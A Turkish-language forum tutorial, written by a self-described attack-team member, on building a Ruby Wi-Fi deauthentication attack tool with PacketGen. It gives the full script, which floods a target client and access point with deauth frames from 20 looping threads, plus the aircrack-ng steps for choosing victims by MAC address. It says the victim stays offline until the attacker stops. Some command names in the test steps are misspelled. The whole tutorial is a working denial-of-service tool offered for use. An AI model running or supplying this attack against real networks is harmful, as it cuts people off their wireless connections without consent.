Merhaba ben saldırı timlerinden Bunjo, bu konuda hedef erişim noktasında bulunan bir cihazı ağdan kopartan bir script kodlayacağız.
Deauth Attack
Deauthentication (Deauth) attack, kablosuz iletişimde (genellikle Wi-Fi ağları üzerinde) kullanılan bir saldırı türüdür.
Bu tür bir saldırı, bir hedef istemci cihazı veya Wi-Fi ağa bağlı olan diğer cihazların bağlantısını kesmeyi amaçlar.
Kütüphane Kurulumları
Libcap:
apt-get install libpcap-dev
Packetgen:
gem install packetgen
Eventmachine:
gem install eventmachine
Kod Aşaması
Ruby:
#!/usr/bin/env ruby
require 'packetgen'
require 'optparse'
require 'eventmachine'
packetgen:
packetgen, Ruby dilinde paket oluşturmak, düzenlemek ve analiz etmek için kullanılan bir kütüphanedir. Bu kütüphane, çeşitli ağ protokollerini destekler ve kullanıcıya düşük seviyeli ağ trafiğini manipüle etme imkanı tanır. Yani, ağ üzerinden iletilen veri paketlerini oluşturmak veya incelemek için kullanılır.
optparse:
optparse, Ruby programlarında komut satırı argümanlarını analiz etmek ve işlemek için kullanılan bir kütüphanedir. Bu kütüphane, programın komut satırında belirtilen seçenekleri ve değerleri okumak için kullanılır. Kullanıcıya daha esnek ve düzenli bir komut satırı arayüzü sağlar.
eventmachine:
eventmachine, Ruby dilinde olay tabanlı (event-driven) programlama için bir kütüphanedir. Bu kütüphane, ağ uygulamaları, sunucular ve istemciler gibi etkinlik odaklı (event-driven) uygulamalar geliştirmek için kullanılır. Aynı zamanda I/O işlemleri için asenkron ve paralel programlamayı destekler.
Ruby:
class BunjoFLY
def initialize
@params = {
bssid: nil,
client: nil,
iface: nil,
size: 500,
}
Bu blok, sınıfın başlangıcında çağrılan initialize metodunu tanımlar.
@ params adlı bir instance variable, çeşitli parametreleri içeren bir Hash (Ruby'de sözlük veri tipi) nesnesi ile başlatılır.
params içine daha sonra kullanıcıdan alınacak gerekli değişkenler atanır.
Ruby:
def option_parser
OptionParser.new do |opts|
opts.on("--bssid BSSID") do |bssid|
@params[:bssid] = bssid
end
opts.on("--client CLIENT") do |client|
@params[:client] = client
end
opts.on("--iface IFACE") do |iface|
@params[:iface] = iface
end
end.parse!
end
Kullanıcının gerekli değişkenleri "--iface", "--bssid" vb. şeklinde girebilmesini sağlar.
Ruby:
def send_deauth
loop do
pkt = PacketGen.gen('RadioTap').
add('Dot11::Management', mac1: @params[:client], mac2: @params[:bssid], mac3: @params[:bssid]).
add('Dot11::DeAuth', reason: 7)
pkt.to_w(@params[:iface], calc: true, number: @params[:size], interval: 0.2)
end
end
PacketGen kütüphanesi kullanılarak bir deauth paketi oluşturulur. RadioTap başlık, Dot11::Management ve Dot11: DeAuth katmanları eklenerek bir deauth paketi yapısı inşa edilir. mac1, mac2, ve mac3 değerleri, bu paketin hedef istemci cihazın MAC adresi (@ params[: client]) ve Access Point (AP) MAC adresi (@params[:bssid]) ile ilişkilendirilmiştir. reason: 7 ise deauth paketinin sebebini belirtir.
oluşturulan deauth paketini belirtilen ağ arayüzü (@params[: iface]) (Ağ arayüzü kısacası) üzerinden ağa gönderir. to_w (paketi yazdırmak, yollaman manasında) metodunun parametreleri arasında paket boyutu (number), aralık (interval), ve hesaplama (calc: true) seçenekleri bulunmaktadır.
Ruby:
def main
puts("IFACE: #{@params[:iface]}")
puts("BSSID: #{@params[:bssid]}")
puts("CLIENT: #{@params[:client]}")
puts("SIZE: #{@params[:size]}")
puts "Sending Deauth Packets..."
20.times do
@threads << Thread.new { send_deauth }
end
@threads.each(&:join)
EM.stop
end
end
Programın çalıştırılmasını sağlayan ana fonksiyon bu bölümde tanımlanır.
"iface", "bssid" gibi gerekli değişkenler ekrana yazdırılır.
20 adet thread (işlem parçacığı) oluşturulur ve @ threads adlı diziye eklenir
daha sonra bu dizinin içinde bulunan bütün işlem parçacıkları çalıştırılır.
Ruby:
EM.run do
begin
bunjofly = BunjoFLY.new
bunjofly.option_parser
bunjofly.main
rescue => err
puts("ERROR: #{err}")
end
end
EM (yani evetnmachine) kullanılarak Global Interpreter Lock mekanizmasından kaçınılıp, bütün threadlerin eş zamanlı çalışmasını sağlar.
Tüm Kod:
Ruby:
#!/usr/bin/env ruby
require 'packetgen'
require 'optparse'
require 'eventmachine'
class BunjoFLY
def initialize
@params = {
bssid: nil,
client: nil,
iface: nil,
size: 500,
}
@threads = Array.new
end
def option_parser
OptionParser.new do |opts|
opts.on("--bssid BSSID") do |bssid|
@params[:bssid] = bssid
end
opts.on("--client CLIENT") do |client|
@params[:client] = client
end
opts.on("--iface IFACE") do |iface|
@params[:iface] = iface
end
end.parse!
end
def send_deauth
loop do
pkt = PacketGen.gen('RadioTap').
add('Dot11::Management', mac1: @params[:client], mac2: @params[:bssid], mac3: @params[:bssid]).
add('Dot11::DeAuth', reason: 7)
pkt.to_w(@params[:iface], calc: true, number: @params[:size], interval: 0.2)
end
end
def main
puts("IFACE: #{@params[:iface]}")
puts("BSSID: #{@params[:bssid]}")
puts("CLIENT: #{@params[:client]}")
puts("SIZE: #{@params[:size]}")
puts "Sending Deauth Packets..."
20.times do
@threads << Thread.new { send_deauth }
end
@threads.each(&:join)
EM.stop
end
end
EM.run do
begin
bunjofly = BunjoFLY.new
bunjofly.option_parser
bunjofly.main
rescue => err
puts("ERROR: #{err}")
end
end
Test Aşaması
Hedef internete bağlı olan bir cihazda programı test edeceğiz.
Ağ kartının monitör moduna alınması:
aireplay-ng start (ağ kartınız)
iwconfig yazarak sonu mon ile biten ağ kartınızı seçebilirsiniz
airodump-ng (ağ kartı)
Hedef erişim noktaları ve cihazlar listelenecektir.
ariodump-ng --bssif (Hedef modem mac adresi) --channel (Hedef modem kanal numarası) (ağ kartınız)
Bu aşamada seçtiğiniz erişim noktasına bağlı cihazların mac adresleri ekrana çıkacaktır.
ruby main.rb --bssid modem_mac --client hedef_cihaz_mac --iface ağ_kartınız
Hedef cihazda wifi kesildi ve siz kapatana kadar de tekrar açılmayacak.
Son düzenleme: